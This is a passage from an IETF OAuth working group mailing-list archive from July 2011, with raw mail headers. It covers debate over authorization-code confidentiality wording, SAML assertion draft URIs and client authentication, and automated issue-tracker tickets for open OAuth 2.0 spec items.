(TLS) id 8.3.159.2; Fri, 8 Jul 2011 14:48:11 -0400 Message-ID: <4E1750EA.8000702@mitre.org> Date: Fri, 8 Jul 2011 14:48:10 -0400 From: Justin Richer User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20110624 Thunderbird/5.0 MIME-Version: 1.0 To: Eran Hammer-Lahav References: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0067@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0067@P3PW5EX1MB01.EX1.SECURESERVER.NET> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit Cc: OAuth WG Subject: Re: [OAUTH-WG] Authorization code security considerations X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jul 2011 20:08:09 -0000 I'm not sure normative language even fits here. We need something like "Authorization codes should be treated as sensitive and the client needs to try to make sure it doesn't leak the authorization code." But more formal and less garden pathy than I'm able to pen at the moment. -- Justin On 7/8/2011 2:39 PM, Eran Hammer-Lahav wrote: > "Authorization codes MUST be kept confidential" > > How exactly? They are not confidential by nature, being received via redirection in the URI query. I know what this sentence is trying to accomplish but not sure how to do that with normative language. SHOULD doesn't really work here either. > > Suggestions? > > EHL > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth From bcampbell@pingidentity.com Sat Jul 9 05:53:02 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id C6F7121F8683 for ; Sat, 9 Jul 2011 05:53:02 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -5.934 X-Spam-Level: X-Spam-Status: No, score=-5.934 tagged_above=-999 required=5 tests=[AWL=0.043, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 0SFXIvPrHDVv for ; Sat, 9 Jul 2011 05:53:02 -0700 (PDT) Received: from na3sys009aog104.obsmtp.com (na3sys009aog104.obsmtp.com [74.125.149.73]) by ietfa.amsl.com (Postfix) with ESMTP id 09C6021F8665 for ; Sat, 9 Jul 2011 05:53:01 -0700 (PDT) Received: from mail-qy0-f176.google.com ([209.85.216.176]) (using TLSv1) by na3sys009aob104.postini.com ([74.125.148.12]) with SMTP ID DSNKThhPLJk4XSrZ9REUQlquTYdFwlMR5JtU@postini.com; Sat, 09 Jul 2011 05:53:02 PDT Received: by mail-qy0-f176.google.com with SMTP id 4so1704570qyk.7 for ; Sat, 09 Jul 2011 05:53:00 -0700 (PDT) Received: by 10.224.120.3 with SMTP id b3mr1864300qar.387.1310215980147; Sat, 09 Jul 2011 05:53:00 -0700 (PDT) MIME-Version: 1.0 Received: by 10.224.28.201 with HTTP; Sat, 9 Jul 2011 05:52:30 -0700 (PDT) From: Brian Campbell Date: Sat, 9 Jul 2011 06:52:30 -0600 Message-ID: To: Eran Hammer-Lahav Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: oauth Subject: Re: [OAUTH-WG] SAML Assertion Draft Items [Item 1: client auth] X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Jul 2011 12:53:02 -0000 Thanks for the response, Eran. I'm breaking this thread up into the distinct issues. Reply inline below to the first item about client auth. On Thu, Jul 7, 2011 at 11:24 PM, Eran Hammer-Lahav wr= ote: > > > However, the SAML draft does not currently cover SAML for client > > authentication and profiling draft-ietf-oauth-assertions would suggest = that it > > should. =A0Is there any general consensus as to if SAML should be profi= led as a > > client authentication method? =A0It is certainly feasible but might req= uire > > restructuring and retitling the draft. > > Are there use cases pending such functionality today? It would be a shame= to delay an otherwise useful draft when the functionality can be added lat= er. I don't have any such use cases in the near future. Perhaps others can speak up? I personally see assertion based grants as being more important and more immediately useful. That was one of the reasons I was looking to keep assertion grants and client assertion authentication separate. That said, Chuck has done a nice job with his general treatment of them together in draft-ietf-oauth-assertions and the logical thing to do, in terms of how the various documents play together, would be to have draft-ietf-oauth-saml2-bearer cover client auth now too. From bcampbell@pingidentity.com Sat Jul 9 06:15:31 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 9A04721F8760 for ; Sat, 9 Jul 2011 06:15:31 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -5.938 X-Spam-Level: X-Spam-Status: No, score=-5.938 tagged_above=-999 required=5 tests=[AWL=0.039, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id S3YqMoNeESs7 for ; Sat, 9 Jul 2011 06:15:30 -0700 (PDT) Received: from na3sys009aog104.obsmtp.com (na3sys009aog104.obsmtp.com [74.125.149.73]) by ietfa.amsl.com (Postfix) with ESMTP id 888FA21F86B4 for ; Sat, 9 Jul 2011 06:15:30 -0700 (PDT) Received: from mail-qw0-f45.google.com ([209.85.216.45]) (using TLSv1) by na3sys009aob104.postini.com ([74.125.148.12]) with SMTP ID DSNKThhUchrV1S0woMBLbJLcUrMRqj8/5Mel@postini.com; Sat, 09 Jul 2011 06:15:30 PDT Received: by qwj8 with SMTP id 8so1735890qwj.32 for ; Sat, 09 Jul 2011 06:15:29 -0700 (PDT) Received: by 10.224.188.76 with SMTP id cz12mr953381qab.26.1310217329437; Sat, 09 Jul 2011 06:15:29 -0700 (PDT) MIME-Version: 1.0 Received: by 10.224.28.201 with HTTP; Sat, 9 Jul 2011 06:14:59 -0700 (PDT) From: Brian Campbell Date: Sat, 9 Jul 2011 07:14:59 -0600 Message-ID: To: Eran Hammer-Lahav Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: oauth Subject: Re: [OAUTH-WG] SAML Assertion Draft Items [Item 2: URI(s)] X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Jul 2011 13:15:31 -0000 Discussion on the other item, the grant_type URI, inline below. This whole thing seems like it shouldn't be an issue at all as there's no functionality involved. But I've been hung up on it for a while and the spec needs some URI. I could *really* use the advice of the AD and/or Chairs on this. Or anyone with more experience with defining and using URIs/URNs. Thanks. On Thu, Jul 7, 2011 at 11:24 PM, Eran Hammer-Lahav wr= ote: > >> Item 2: URI(s) >> The value for grant_type is currently defined as >> http://oauth.net/grant_type/saml/2.0/bearer but there have been some >> questions raised about the stability and appropriateness of the URL. > > I'm not a fan. > >> I really did read RFCs 2648 & 3553, as was suggested at the last F2F mee= ting, >> but it's not clear to me how to register an IETF URI and/or if those RFC= s are >> fully appropriate for this. =A0If someone could explain it to me in term= s my >> preschooler could understand, maybe I could jump though the proper hoops >> to get the URI to be something like urn:ietf:something:something. > > Asking on the URN list usually helps. I can try that. I'm thinking it'd be something like urn:ietf:wg:oauth:2.0:grant_type:saml:2.0:bearer which is largely based on seeing the use of urn:ietf:wg:oauth:2.0:oob - was there an actual registration done for that? Or did it just start getting used? Is doing that okay? > >> Otherwise, I can continue to use >> http://oauth.net/grant_type/saml/2.0/bearer and, assuming the draft >> should also cover client authentication, also define >> http://oauth.net/client_assertion_type/saml/2.0/bearer. =A0The JWT versi= on >> could then follow a similar pattern. =A0Or perhaps we could use the URI, >> urn:oasis:names:tc:SAML:2.0:cm:bearer which is defined in section 3.3 of >> saml-profiles-2.0-os as URI that identifies the bearer subject confirmat= ion >> method. =A0It seems like that might be close enough to work out without >> violating anything serious. =A0And it could be used for both grant_type = and >> client_assertion_type, which is nice. > > Don't use an OASIS URN. That's asking for trouble. Is it really? Because it's conceptually inappropriate? Or because of some supposed (or real) rift between standards bodies? I mean, this whole draft is about profiling SAML assertions (an OASIS spec) for use with OAuth (soon an IETF spec). Would using a URN too be so terrible? You'd previously suggested (or asked why I didn't use) urn:oasis:names:tc:SAML:2.0:assertion which is the XML NS for the OASIS SAML assertion schema. Would that somehow be different? That is still an option too, I think. I hadn't used it because I wanted to differentiate the means of confirming/validating the assertion - as a bearer token - while leavening room for holder of key or other methods in the future. But using that NS wouldn't necessary preclude it. I was also looking for an identifier that would enable easy web searching and urn:oasis:names:tc:SAML:2.0:assertion wouldn't really do that. From trac+oauth@trac.tools.ietf.org Sat Jul 9 06:17:21 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id B547A21F856A for ; Sat, 9 Jul 2011 06:17:21 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.6 X-Spam-Level: X-Spam-Status: No, score=-102.6 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, NO_RELAYS=-0.001, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id RIhVooOF3RLB for ; Sat, 9 Jul 2011 06:17:21 -0700 (PDT) Received: from zinfandel.tools.ietf.org (zinfandel.tools.ietf.org [IPv6:2001:1890:1112:1::2a]) by ietfa.amsl.com (Postfix) with ESMTP id 671F321F856C for ; Sat, 9 Jul 2011 06:17:21 -0700 (PDT) Received: from localhost ([::1] helo=zinfandel.tools.ietf.org) by zinfandel.tools.ietf.org with esmtp (Exim 4.76) (envelope-from ) id 1QfXPL-0001o1-NW; Sat, 09 Jul 2011 06:17:19 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit From: "oauth issue tracker" X-Trac-Version: 0.11.7 Precedence: bulk Auto-Submitted: auto-generated X-Mailer: Trac 0.11.7, by Edgewall Software To: barryleiba@computer.org X-Trac-Project: oauth Date: Sat, 09 Jul 2011 13:17:19 -0000 X-URL: http://tools.ietf.org/oauth/ X-Trac-Ticket-URL: http://trac.tools.ietf.org/wg/oauth/trac/ticket/15 Message-ID: <063.1c73d9f31aca439806643846ebcdcad1@trac.tools.ietf.org> X-Trac-Ticket-ID: 15 X-SA-Exim-Connect-IP: ::1 X-SA-Exim-Rcpt-To: barryleiba@computer.org, oauth@ietf.org X-SA-Exim-Mail-From: trac+oauth@trac.tools.ietf.org X-SA-Exim-Scanned: No (on zinfandel.tools.ietf.org); SAEximRunCond expanded to false Cc: oauth@ietf.org Subject: [OAUTH-WG] [oauth] #15: Consensus for new Client Registration section (2) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Jul 2011 13:17:21 -0000 #15: Consensus for new Client Registration section (2) -- -------------------------------------+-------------------------------------- Reporter: barryleiba@… | Owner: Type: task | Status: new Priority: major | Milestone: Deliver OAuth 2.0 spec Component: v2 | Version: Severity: Active WG Document | Keywords: -------------------------------------+-------------------------------------- Ticket URL: oauth From trac+oauth@trac.tools.ietf.org Sat Jul 9 06:17:44 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 2333321F874D for ; Sat, 9 Jul 2011 06:17:44 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.6 X-Spam-Level: X-Spam-Status: No, score=-102.6 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, NO_RELAYS=-0.001, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id GP6NOS1SRAiJ for ; Sat, 9 Jul 2011 06:17:43 -0700 (PDT) Received: from zinfandel.tools.ietf.org (zinfandel.tools.ietf.org [IPv6:2001:1890:1112:1::2a]) by ietfa.amsl.com (Postfix) with ESMTP id CE8F821F858E for ; Sat, 9 Jul 2011 06:17:43 -0700 (PDT) Received: from localhost ([::1] helo=zinfandel.tools.ietf.org) by zinfandel.tools.ietf.org with esmtp (Exim 4.76) (envelope-from ) id 1QfXPj-0002x8-QD; Sat, 09 Jul 2011 06:17:43 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit From: "oauth issue tracker" X-Trac-Version: 0.11.7 Precedence: bulk Auto-Submitted: auto-generated X-Mailer: Trac 0.11.7, by Edgewall Software To: barryleiba@computer.org X-Trac-Project: oauth Date: Sat, 09 Jul 2011 13:17:43 -0000 X-URL: http://tools.ietf.org/oauth/ X-Trac-Ticket-URL: http://trac.tools.ietf.org/wg/oauth/trac/ticket/16 Message-ID: <063.d60e7bb0b86afe5f377898a497f019c0@trac.tools.ietf.org> X-Trac-Ticket-ID: 16 X-SA-Exim-Connect-IP: ::1 X-SA-Exim-Rcpt-To: barryleiba@computer.org, oauth@ietf.org X-SA-Exim-Mail-From: trac+oauth@trac.tools.ietf.org X-SA-Exim-Scanned: No (on zinfandel.tools.ietf.org); SAEximRunCond expanded to false Cc: oauth@ietf.org Subject: [OAUTH-WG] [oauth] #16: Consensus for revised Redirection URI section (3.1.2) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Jul 2011 13:17:44 -0000 #16: Consensus for revised Redirection URI section (3.1.2) -- -------------------------------------+-------------------------------------- Reporter: barryleiba@… | Owner: Type: task | Status: new Priority: major | Milestone: Deliver OAuth 2.0 spec Component: v2 | Version: Severity: Active WG Document | Keywords: -------------------------------------+-------------------------------------- Ticket URL: oauth From trac+oauth@trac.tools.ietf.org Sat Jul 9 06:18:10 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id B2B7D21F858E for ; Sat, 9 Jul 2011 06:18:10 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -104.6 X-Spam-Level: X-Spam-Status: No, score=-104.6 tagged_above=-999 required=5 tests=[AWL=2.000, BAYES_00=-2.599, RCVD_IN_DNSWL_MED=-4, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id m6wfYxKookVG for ; Sat, 9 Jul 2011 06:18:08 -0700 (PDT) Received: from zinfandel.tools.ietf.org (zinfandel.tools.ietf.org [64.170.98.42]) by ietfa.amsl.com (Postfix) with ESMTP id 35DD721F8585 for ; Sat, 9 Jul 2011 06:18:08 -0700 (PDT) Received: from localhost ([::1] helo=zinfandel.tools.ietf.org) by zinfandel.tools.ietf.org with esmtp (Exim 4.76) (envelope-from ) id 1QfXQ8-0004fk-4U; Sat, 09 Jul 2011 06:18:08 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit From: "oauth issue tracker" X-Trac-Version: 0.11.7 Precedence: bulk Auto-Submitted: auto-generated X-Mailer: Trac 0.11.7, by Edgewall Software To: barryleiba@computer.org X-Trac-Project: oauth Date: Sat, 09 Jul 2011 13:18:08 -0000 X-URL: http://tools.ietf.org/oauth/ X-Trac-Ticket-URL: http://trac.tools.ietf.org/wg/oauth/trac/ticket/17 Message-ID: <063.2d6ae36d5f67c03691d56c0f7f2746f3@trac.tools.ietf.org> X-Trac-Ticket-ID: 17 X-SA-Exim-Connect-IP: ::1 X-SA-Exim-Rcpt-To: barryleiba@computer.org, oauth@ietf.org X-SA-Exim-Mail-From: trac+oauth@trac.tools.ietf.org X-SA-Exim-Scanned: No (on zinfandel.tools.ietf.org); SAEximRunCond expanded to false Cc: oauth@ietf.org Subject: [OAUTH-WG] [oauth] #17: Consensus for new token endpoint Client Authentication section (3.2.1) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Jul 2011 13:18:10 -0000 #17: Consensus for new token endpoint Client Authentication section (3.2.1) -- -------------------------------------+-------------------------------------- Reporter: barryleiba@… | Owner: Type: task | Status: new Priority: major | Milestone: Deliver OAuth 2.0 spec Component: v2 | Version: Severity: Active WG Document | Keywords: -------------------------------------+-------------------------------------- Ticket URL: oauth From trac+oauth@trac.tools.ietf.org Sat Jul 9 06:18:29 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 32A8D21F8764 for ; Sat, 9 Jul 2011 06:18:29 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -104.849 X-Spam-Level: X-Spam-Status: No, score=-104.849 tagged_above=-999 required=5 tests=[AWL=1.750, BAYES_00=-2.599, RCVD_IN_DNSWL_MED=-4, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id lGdgAdfHpsHA for ; Sat, 9 Jul 2011 06:18:28 -0700 (PDT) Received: from zinfandel.tools.ietf.org (zinfandel.tools.ietf.org [64.170.98.42]) by ietfa.amsl.com (Postfix) with ESMTP id C416221F8585 for ; Sat, 9 Jul 2011 06:18:28 -0700 (PDT) Received: from localhost ([::1] helo=zinfandel.tools.ietf.org) by zinfandel.tools.ietf.org with esmtp (Exim 4.76) (envelope-from ) id 1QfXQS-0005pA-KN; Sat, 09 Jul 2011 06:18:28 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit From: "oauth issue tracker" X-Trac-Version: 0.11.7 Precedence: bulk Auto-Submitted: auto-generated X-Mailer: Trac 0.11.7, by Edgewall Software To: barryleiba@computer.org X-Trac-Project: oauth Date: Sat, 09 Jul 2011 13:18:28 -0000 X-URL: http://tools.ietf.org/oauth/ X-Trac-Ticket-URL: http://trac.tools.ietf.org/wg/oauth/trac/ticket/18 Message-ID: <063.4203657f60eb3e8ec63e1c8214a83f74@trac.tools.ietf.org> X-Trac-Ticket-ID: 18 X-SA-Exim-Connect-IP: ::1 X-SA-Exim-Rcpt-To: barryleiba@computer.org, oauth@ietf.org X-SA-Exim-Mail-From: trac+oauth@trac.tools.ietf.org X-SA-Exim-Scanned: No (on zinfandel.tools.ietf.org); SAEximRunCond expanded to false Cc: oauth@ietf.org Subject: [OAUTH-WG] [oauth] #18: Consensus for new authorization endpoint response type extensibility (8.4) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Jul 2011 13:18:29 -0000 #18: Consensus for new authorization endpoint response type extensibility (8.4) -- -------------------------------------+-------------------------------------- Reporter: barryleiba@… | Owner: Type: task | Status: new Priority: major | Milestone: Deliver OAuth 2.0 spec Component: v2 | Version: Severity: Active WG Document | Keywords: -------------------------------------+-------------------------------------- Ticket URL: oauth From barryleiba.mailing.lists@gmail.com Sat Jul 9 06:22:02 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id AD7AF21F85A0 for ; Sat, 9 Jul 2011 06:22:02 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -103.135 X-Spam-Level: X-Spam-Status: No, score=-103.135 tagged_above=-999 required=5 tests=[AWL=-0.158, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id aH7nNYvqrwo2 for ; Sat, 9 Jul 2011 06:22:02 -0700 (PDT) Received: from mail-yx0-f172.google.com (mail-yx0-f172.google.com [209.85.213.172]) by ietfa.amsl.com (Postfix) with ESMTP id 2303C21F859F for ; Sat, 9 Jul 2011 06:22:02 -0700 (PDT) Received: by yxp4 with SMTP id 4so1343493yxp.31 for ; Sat, 09 Jul 2011 06:22:01 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:content-type; bh=HH2zKhpc36X6601tbIZ0vAUfcyJfdDgBs3i7e7d/ESY=; b=rMVeAes20wdK1l9r0KVvri1kUymyeBAW9eGplhcScANVKoTNu3HwyZxiK2XaPsIH0M 8673xnH0zeaAn9AG8Q3zlurryokt9wIfzr6SPqBuEPbOmrv6ecDdXawEzV7nVgRJqi/K oS42wM+mQ0SgKC4OFh9xu6XdXY5/z8F1q4I+I= MIME-Version: 1.0 Received: by 10.150.50.8 with SMTP id x8mr2755378ybx.184.1310217719919; Sat, 09 Jul 2011 06:21:59 -0700 (PDT) Sender: barryleiba.mailing.lists@gmail.com Received: by 10.147.41.12 with HTTP; Sat, 9 Jul 2011 06:21:59 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0097@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0097@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Sat, 9 Jul 2011 09:21:59 -0400 X-Google-Sender-Auth: vufhaGlhpbrbMHSR4uwyL89bc6Q Message-ID: From: Barry Leiba To: OAuth WG Content-Type: text/plain; charset=ISO-8859-1 Subject: Re: [OAUTH-WG] draft-ietf-oauth-v2-18 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Jul 2011 13:22:02 -0000 > List of open issues: > > * Consensus for new Client Registration section (2) > * Consensus for revised Redirection URI section (3.1.2) > * Consensus for new token endpoint Client Authentication section (3.2.1) > * Consensus for new authorization endpoint response type extensibility (8.4) > * Missing example from security section 10.4 Refresh Tokens > * Missing reference to DOM variable example in section 10.12 Cross-Site > Request Forgery > * Need editing for 10.13 Clickjacking to better align with the protocol terminology, > missing reference for x-frame-options header > > (This is the complete list. If you have an issue not listed you must raise it again > as it is not being tracked.) I have put this list into the datatracker: http://trac.tools.ietf.org/wg/oauth/trac/report/1 Please let me know as they get resolved, so I can update it. Also, if you open new threads for new issues, please make it clear that you're asking for a new issue to be created. Barry, as chair From trac+oauth@trac.tools.ietf.org Sat Jul 9 06:47:08 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 55C2F21F86BB for ; Sat, 9 Jul 2011 06:47:08 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.6 X-Spam-Level: X-Spam-Status: No, score=-102.6 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, NO_RELAYS=-0.001, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 3KNPogYS+k7g for ; Sat, 9 Jul 2011 06:47:08 -0700 (PDT) Received: from zinfandel.tools.ietf.org (zinfandel.tools.ietf.org [IPv6:2001:1890:1112:1::2a]) by ietfa.amsl.com (Postfix) with ESMTP id 09C2521F85C1 for ; Sat, 9 Jul 2011 06:47:08 -0700 (PDT) Received: from localhost ([::1] helo=zinfandel.tools.ietf.org) by zinfandel.tools.ietf.org with esmtp (Exim 4.76) (envelope-from ) id 1QfXQp-0007Kj-4a; Sat, 09 Jul 2011 06:18:51 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit From: "oauth issue tracker" X-Trac-Version: 0.11.7 Precedence: bulk Auto-Submitted: auto-generated X-Mailer: Trac 0.11.7, by Edgewall Software To: barryleiba@computer.org X-Trac-Project: oauth Date: Sat, 09 Jul 2011 13:18:51 -0000 X-URL: http://tools.ietf.org/oauth/ X-Trac-Ticket-URL: http://trac.tools.ietf.org/wg/oauth/trac/ticket/19 Message-ID: <063.83e0a64b804112fed778d56c49a61e23@trac.tools.ietf.org> X-Trac-Ticket-ID: 19 X-SA-Exim-Connect-IP: ::1 X-SA-Exim-Rcpt-To: barryleiba@computer.org, oauth@ietf.org X-SA-Exim-Mail-From: trac+oauth@trac.tools.ietf.org X-SA-Exim-Scanned: No (on zinfandel.tools.ietf.org); SAEximRunCond expanded to false Cc: oauth@ietf.org Subject: [OAUTH-WG] [oauth] #19: Missing example from security section 10.4 Refresh Tokens X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Jul 2011 13:47:08 -0000 #19: Missing example from security section 10.4 Refresh Tokens -- -------------------------------------+-------------------------------------- Reporter: barryleiba@… | Owner: Type: defect | Status: new Priority: major | Milestone: Deliver OAuth 2.0 spec Component: v2 | Version: Severity: Active WG Document | Keywords: -------------------------------------+-------------------------------------- Ticket URL: oauth From trac+oauth@trac.tools.ietf.org Sat Jul 9 06:47:08 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 6808121F85C1 for ; Sat, 9 Jul 2011 06:47:08 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.6 X-Spam-Level: X-Spam-Status: No, score=-102.6 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, NO_RELAYS=-0.001, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id WWdF2uhml9hZ for ; Sat, 9 Jul 2011 06:47:08 -0700 (PDT) Received: from zinfandel.tools.ietf.org (zinfandel.tools.ietf.org [IPv6:2001:1890:1112:1::2a]) by ietfa.amsl.com (Postfix) with ESMTP id 17CA721F8644 for ; Sat, 9 Jul 2011 06:47:08 -0700 (PDT) Received: from localhost ([::1] helo=zinfandel.tools.ietf.org) by zinfandel.tools.ietf.org with esmtp (Exim 4.76) (envelope-from ) id 1QfXRQ-0002jd-LD; Sat, 09 Jul 2011 06:19:28 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit From: "oauth issue tracker" X-Trac-Version: 0.11.7 Precedence: bulk Auto-Submitted: auto-generated X-Mailer: Trac 0.11.7, by Edgewall Software To: barryleiba@computer.org X-Trac-Project: oauth Date: Sat, 09 Jul 2011 13:19:27 -0000 X-URL: http://tools.ietf.org/oauth/ X-Trac-Ticket-URL: http://trac.tools.ietf.org/wg/oauth/trac/ticket/21 Message-ID: <063.a5b67cd27194276b9cd4b4569e7ec6b6@trac.tools.ietf.org> X-Trac-Ticket-ID: 21 X-SA-Exim-Connect-IP: ::1 X-SA-Exim-Rcpt-To: barryleiba@computer.org, oauth@ietf.org X-SA-Exim-Mail-From: trac+oauth@trac.tools.ietf.org X-SA-Exim-Scanned: No (on zinfandel.tools.ietf.org); SAEximRunCond expanded to false Cc: oauth@ietf.org Subject: [OAUTH-WG] [oauth] #21: Need editing for 10.13 Clickjacking to better align with the protocol terminology, missing reference for x-frame-options header X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Jul 2011 13:47:08 -0000 #21: Need editing for 10.13 Clickjacking to better align with the protocol terminology, missing reference for x-frame-options header -- -------------------------------------+-------------------------------------- Reporter: barryleiba@… | Owner: Type: defect | Status: new Priority: major | Milestone: Deliver OAuth 2.0 spec Component: v2 | Version: Severity: Active WG Document | Keywords: -------------------------------------+-------------------------------------- Ticket URL: oauth From trac+oauth@trac.tools.ietf.org Sat Jul 9 06:47:08 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 70FD321F8644 for ; Sat, 9 Jul 2011 06:47:08 -0700 (PDT) X-Virus-Scanned: amavisd-new at 